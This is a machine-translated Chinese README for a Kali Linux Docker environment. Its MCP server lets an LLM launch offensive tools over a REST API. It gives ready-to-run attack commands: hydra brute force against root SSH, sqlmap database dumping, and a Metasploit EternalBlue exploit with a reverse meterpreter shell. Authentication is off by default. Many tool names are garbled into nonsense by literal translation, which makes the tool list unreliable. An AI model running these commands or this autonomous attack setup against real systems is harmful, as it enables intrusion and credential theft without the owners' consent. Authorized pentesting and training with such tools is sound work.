使用说明
Kali Linux MCP Pentest环境
基于Kali Linux的完整渗透测试环境,具有用于安全工具自动化和控制的模型上下文协议(MCP)服务器。
🎯 特点
- Kali Linux滚动 - 最新版本与所有更新的工具
- MCP服务器 用于远程工具控制的 RESTful API
- 主要工具:
- 🔍 扫描:nmap、masscan、netdiscover
- 🔨 蛮力:九头蛇、美杜莎、约翰
- 🌐 Web测试:sqlmap、wpscan、nikto、dirb、gobuster
- 💣 开发:元绘图框架
- 📡 无线:aircrack-ng、reaver
- 📊 分析: wireshark, tcpdump
- 自动化脚本 -工作流程完成了侦察和暴力
- 数据持久性 - 报告,文字列表和持久设置
- Docker就绪 - 快速和隔离部署
🧰 支持的工具
下面的类别列出了环境安装和支持的主要工具。
- 扫描和发现
- nmap、masscan、netdiscover、arp扫描、dnsenum、severe、sslscan、ike扫描、独角兽扫描、lbd、聚敛、亚索引
- Recon/OSINT e指纹识别
- theHarvester、maltego、dnsrecon、whatweb、wafw00f、dmitry、spiderfoot、smtp用户枚举、snmp检查、asstfinder、gau、waybackurls、massdns、paramspider、arjun、sublist3r、cloudbrute
- Web测试e DAST
- sqlmap、wpscan、nikto、dirb、gobuster、wfuzz、dirbuster、joomscan、cmsmap、xsstrike、beef xss、skipfish、arachni、davtest、droprescan、httpx、nucleus、ffuf、feroxbuster、dirsearch、dalfox、commix
- 密码/暴力单词表
- 九头蛇、美杜莎、约翰、大麻、帕塔、ncrack、cewl、crunch、ophcrack、brutesplay
- 开发与后期开发
- metasploit框架、armitage、routesloit、set(set Toolkit)、mimikatz、powershell帝国、weevely、linux漏洞利用建议器、windows漏洞利用建议者
- 无线e收音机
- aircrack ng、reaver、wifite、欺负者、kismet、pixiewps、fern wifi饼干、mdk4、airgeddon、wifi-pumpkin3
- 嗅探/欺骗L2/L3
- bettcap、仅限文本的ettercap、driftnet、mitmf、yersinia、响应者
- Active Directory、SMB和Protocolos
- crackmapexec、impackt脚本、寻血犬、ldapdomaindump、enum4linux、smbclient、nbtscan、snmp
- 法医 和 逆向 工程
- 尸检,挥发性,binwalk,最重要的,ghidra,radare2,apktool,dex2jar,exiftool
- 代理和支持工具
- zaproxy(OWASP ZAP)、巴布剂、zenmap、tor、torsocks、awscli
注意:除了上述工具之外,该环境还包括支持的库和实用程序(Python,Node.js,Go,build-essential等),以允许扩展和自动化。
📋 先决条件
- Docker>=20.10
- Docker编写>=2.0
- 最低 8GB RAM(推荐 16GB)
- 20GB 磁盘空间
- Linux/macOS(Windows com WSL2)
🚀 安装
1. 克隆或创建项目
mkdir kali-mcp && cd kali-mcp
# Copie todos os arquivos fornecidos para esta pasta
2. 目录结构
kali-mcp/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── server.js
├── package.json
├── scripts/
├── skills/
├── docs/
├── wordlists/
├── swagger.json
├── mcp_client.py
└── pentest_pipeline.py
3. 构建图像
docker-compose build
4. 启动容器
# criar a rede necessária (apenas uma vez)
docker network create openclaw-net
docker-compose up -d
5. 访问容器
docker exec -it cleo-kali-mcp /bin/bash
🤖 LLM设置
MCP Server 支持多个 LLM 提供者。默认情况下,您可以通过环境变量定义提供程序和模型。
默认:OpenAI with fallback Ollama
创建/编辑文件 .env 在工程根上 :
LLM_PROVIDER=openai
OPENAI_API_KEY=SEU_TOKEN_OPENAI
OPENAI_MODEL=gpt-5-mini
LLM_FALLBACK_PROVIDER=ollama
LLM_FALLBACK_MODEL=qwen3:8b
# Ajuste se seu Ollama roda localmente fora do Docker
OLLAMA_BASE_URL=http://localhost:11434
- 服务器正在尝试定义为
LLM_PROVIDER首先,在发生故障时,使用已配置的备份。 - 容器中的默认 Ollama URL 是
http://host.docker.internal:11434如果您没有在主机上使用 Docker Desktop,请调整OLLAMA_BASE_URL如有必要。 - 服务器使用的模型和提供程序:请参阅[server.js](file:///d:/MCP -kali/server.js#L45-L59)和[server.js]中的聊天逻辑(file:///d:/MCP -kali/server.js#L85-L224)。
🔧 使用
MCP服务器API
MCP 服务器可在 http://localhost:3000
可用的端点
服务器信息
GET http://localhost:3000/
GET http://localhost:3000/health
GET http://localhost:3000/api/tools/list
POST http://localhost:3000/mcp
端点MCP JSON-RPC
O端点 /mcp 基本 MCP 流initialize, tools/list, tools/call, resources/list, resources/read):
curl -X POST http://localhost:3000/mcp \
-H "Content-Type: application/json" \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
对于非实验室环境,请启用身份验证:
MCP_REQUIRE_AUTH=true
MCP_API_TOKEN=troque-este-token
MCP_ALLOWED_ORIGINS=http://localhost:3000
通用表演和编排
# Executar qualquer ferramenta suportada pelo template runner
POST http://localhost:3000/api/tools/run
Content-Type: application/json
{
"tool": "whatweb",
"target": "example.com",
"options": ""
}
# Dry-run (avaliação de risco e comando gerado, sem execução)
POST http://localhost:3000/api/tools/dry-run
Content-Type: application/json
{
"tool": "wafw00f",
"target": "example.com",
"options": ""
}
# Pipeline (múltiplos passos encadeados, com suporte a dryRun por etapa)
POST http://localhost:3000/api/tools/pipeline
Content-Type: application/json
{
"steps": [
{ "tool": "assetfinder", "target": "example.com", "options": "--subs-only", "dryRun": false },
{ "tool": "httpx", "target": "https://example.com", "options": "", "dryRun": true }
]
}
扫描com Nmap
POST http://localhost:3000/api/scan/nmap
Content-Type: application/json
{
"target": "192.168.1.0/24",
"options": "-sV -sC -O",
"output": "normal"
}
正在扫描Masscan
POST http://localhost:3000/api/scan/masscan
Content-Type: application/json
{
"target": "192.168.1.100",
"ports": "1-65535",
"rate": "1000"
}
九头蛇凶猛的力量
POST http://localhost:3000/api/bruteforce/hydra
Content-Type: application/json
{
"target": "192.168.1.100",
"service": "ssh",
"username": "root",
"passlist": "/root/wordlists/rockyou.txt",
"port": 22
}
SQL注入com SQLMap
POST http://localhost:3000/api/web/sqlmap
Content-Type: application/json
{
"url": "http://example.com/page.php?id=1",
"options": "--batch --risk=1 --level=1"
}
WordPress扫描
POST http://localhost:3000/api/web/wpscan
Content-Type: application/json
{
"url": "http://wordpress-site.com",
"options": "--enumerate p,t,u"
}
Nikto网络扫描仪
POST http://localhost:3000/api/web/nikto
Content-Type: application/json
{
"host": "example.com",
"port": 80,
"ssl": false
}
目录暴力(Dirb)
POST http://localhost:3000/api/web/dirb
Content-Type: application/json
{
"url": "http://example.com",
"wordlist": "/usr/share/wordlists/dirb/common.txt"
}
目录蛮力(Gobuster)
POST http://localhost:3000/api/web/gobuster
Content-Type: application/json
{
"url": "http://example.com",
"wordlist": "/usr/share/wordlists/dirb/common.txt",
"mode": "dir",
"extensions": "php,html,txt"
}
Metasploit控制台
POST http://localhost:3000/api/exploit/msfconsole
Content-Type: application/json
{
"commands": [
"use exploit/multi/handler",
"set payload windows/meterpreter/reverse_tcp",
"set LHOST 192.168.1.100",
"set LPORT 4444",
"exploit"
]
}
技能和文档工具
# Lista de skills disponíveis
GET http://localhost:3000/api/skills/list
# Conteúdo da skill de uma ferramenta específica
GET http://localhost:3000/api/skills/<tool>
Listar报告
GET http://localhost:3000/api/reports
GET http://localhost:3000/api/reports/:filename
摘要和文物
# Resumo de um report (primeiros 4k de conteúdo)
GET http://localhost:3000/api/reports/summary/:filename
# Index de artefatos (filtrável por tool/target/type)
GET http://localhost:3000/api/artifacts
自动化管道
全网侦察
API 识别管道:
curl -X POST http://localhost:3000/api/tools/pipeline \
-H "Content-Type: application/json" \
-d '{
"steps": [
{ "tool": "nmap", "target": "192.168.1.0/24", "options": "-sn" },
{ "tool": "nmap", "target": "192.168.1.0/24", "options": "-sV -sC --top-ports 1000" }
]
}'
它做什么:
- 主机发现(nmap ping扫描)
- 服务检测(nmap-sV-sC)
- 生成单个报告和索引文物
自动蛮力
curl -X POST http://localhost:3000/api/bruteforce/hydra \
-H "Content-Type: application/json" \
-d '{"target":"192.168.1.100","service":"ssh","username":"root"}'
可用选项 :
username-用户名únicouserlist- 用户名列表文件password-唯一密码passlist- 密码列表文件port- 自定义端口options额外的 Hydra 旗帜
工具手册
扫描器
# Scan básico
nmap -sV -sC 192.168.1.100
# Scan completo
nmap -sV -sC -O -A -p- 192.168.1.100
# Scan de vulnerabilidades
nmap --script vuln 192.168.1.100
# Scan stealth
nmap -sS -T4 192.168.1.100
Masscan
# Scan rápido de todas as portas
masscan 192.168.1.0/24 -p1-65535 --rate=1000
# Scan de portas específicas
masscan 192.168.1.0/24 -p80,443,8080 --rate=10000
九头蛇
# SSH
hydra -l root -P /root/wordlists/rockyou.txt ssh://192.168.1.100
# FTP
hydra -L users.txt -P passwords.txt ftp://192.168.1.100
# HTTP POST
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect"
# RDP
hydra -l administrator -P passwords.txt rdp://192.168.1.100
SQLMap
# Teste básico
sqlmap -u "http://example.com/page.php?id=1" --batch
# Dump database
sqlmap -u "http://example.com/page.php?id=1" --dbs --dump
# POST request
sqlmap -u "http://example.com/login" --data="user=admin&pass=test"
# Com cookie de sessão
sqlmap -u "http://example.com/page.php?id=1" \
--cookie="PHPSESSID=abc123" --batch
Metasploit
# Iniciar console
msfconsole
# Buscar exploits
search type:exploit platform:windows
# Usar exploit
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
# Database
msfdb init
db_status
📂 永久目录
docker-compose 将卷配置为保留重要数据:
./reports→/root/reports所有生成的报告./scripts→/root/scripts-自定义脚本./targets→/root/targets关于目标的信息./wordlists→/root/wordlists-自定义单词列表./nmap-results→/root/nmap-resultsNmap 结果./config→/root/.config- 设置
📚 单词列表
- 已安装的软件包 :
wordlistseseclists - 默认路径 :
- 系统:
/usr/share/wordlists - 快速访问 :
/root/wordlists(未压缩的副本,如果适用)
- 系统:
- 为了与工具(dirb、gobuster、hydra 等)兼容而保证的读权限。
🔒 安全与道德
⚠️ 重要通知:
- 道德使用仅在授权环境中使用
- 许可始终获得书面许可
- 责任不当使用是非法的
- 绝缘在隔离网络/虚拟机上运行
- 日志保持所有活动的日志
此环境仅适用于:
- 授权Pentest
- 自身环境中的攻击性安全
- 教育和培训
- 授权Bug赏金计划
- 授权网络团队练习
🛠️ 故障排除
容器未启动
# Verificar logs
docker-compose logs -f
# Rebuild sem cache
docker-compose build --no-cache
MCP 服务器没有响应
# Verificar se está rodando
docker exec cleo-kali-mcp ps aux | grep node
# Reiniciar o server
docker exec cleo-kali-mcp pkill node
docker exec cleo-kali-mcp /root/start.sh
文字列表未找到
# Descompactar rockyou
docker exec cleo-kali-mcp gunzip /root/wordlists/rockyou.txt.gz
# Baixar SecLists
docker exec cleo-kali-mcp git clone \
https://github.com/danielmiessler/SecLists /root/wordlists/seclists
权限被拒绝
# Entrar como root
docker exec -it -u root cleo-kali-mcp /bin/bash
📊 监测
MCP服务器的版本日志
docker logs -f cleo-kali-mcp
检查资源
docker stats cleo-kali-mcp
🔄 更新
# Parar container
docker-compose down
# Atualizar imagem Kali
docker pull kalilinux/kali-rolling:latest
# Rebuild
docker-compose build --no-cache
# Iniciar novamente
docker-compose up -d
📝 完整使用范例
示例 1:企业网络中的 Pentest
# 1. Reconhecimento completo
curl -X POST http://localhost:3000/api/tools/pipeline \
-H "Content-Type: application/json" \
-d '{"steps":[{"tool":"nmap","target":"10.0.0.0/24","options":"-sn"},{"tool":"nmap","target":"10.0.0.0/24","options":"-sV -sC --top-ports 1000"}]}'
# 2. Análise dos resultados
curl http://localhost:3000/api/reports
# 3. Brute force em serviços encontrados
curl -X POST http://localhost:3000/api/bruteforce/hydra \
-H "Content-Type: application/json" \
-d '{"target":"10.0.0.50","service":"ssh","username":"admin"}'
# 4. Teste em aplicações web
curl -X POST http://localhost:3000/api/web/nikto \
-H "Content-Type: application/json" \
-d '{"host":"10.0.0.100","port":80}'
例2:Web应用程序测试
# 1. Scan de diretórios
curl -X POST http://localhost:3000/api/web/gobuster \
-H "Content-Type: application/json" \
-d '{"url":"http://webapp.com","extensions":"php,html,txt"}'
# 2. Nikto scan
curl -X POST http://localhost:3000/api/web/nikto \
-H "Content-Type: application/json" \
-d '{"host":"webapp.com","port":443,"ssl":true}'
# 3. SQLMap
curl -X POST http://localhost:3000/api/web/sqlmap \
-H "Content-Type: application/json" \
-d '{"url":"http://webapp.com/page?id=1","options":"--batch"}'
🤝 贡献
欢迎捐款!请随时联系:
- Reportar错误
- 建议新功能
- 添加新脚本
- 改进文档
📄 许可证
麻省理工学院许可证 - 详情请参阅许可证
👤 作者
蒂埃里·布拉加
⚖️ 免责声明
此工具仅用于教育目的和授权的安全测试。作者对不当或非法使用此工具概不负责。在进行渗透测试之前,始终获得书面许可。
快乐黑客! 🎯